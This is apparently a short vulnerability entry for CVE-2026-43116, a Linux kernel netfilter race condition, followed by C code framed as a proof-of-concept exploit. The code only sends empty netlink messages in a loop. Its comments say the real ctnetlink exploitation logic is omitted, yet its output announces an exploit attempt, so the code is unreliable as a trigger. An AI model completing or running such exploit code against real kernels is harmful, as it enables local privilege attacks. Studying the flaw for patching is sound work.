CVE-2026-43116 Linux内核netfilter竞争条件漏洞

/* * PoC Concept for CVE-2026-43116 * This code attempts to trigger the race condition by rapidly * creating and deleting conntrack expectations via netlink. * Exploitation requires precise timing and specific kernel configuration. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> void trigger_race() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; struct msghdr msg; // Create Netlink Socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("socket"); return; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; // Loop to race condition for(int i = 0; i < 1000; i++) { // Simplified: Expectation creation/deletion logic would go here // Actual exploitation requires crafting specific ctnetlink messages // to hit the exp->master access without the lock. // Simulate rapid operations to increase race window likelihood sendto(sock_fd, NULL, 0, 0, (struct sockaddr*)&dest_addr, sizeof(dest_addr)); usleep(1); } close(sock_fd); } int main() { printf("[+] Attempting to trigger CVE-2026-43116 race condition...\n"); trigger_race(); printf("[+] Exploit attempt finished.\n"); return 0; }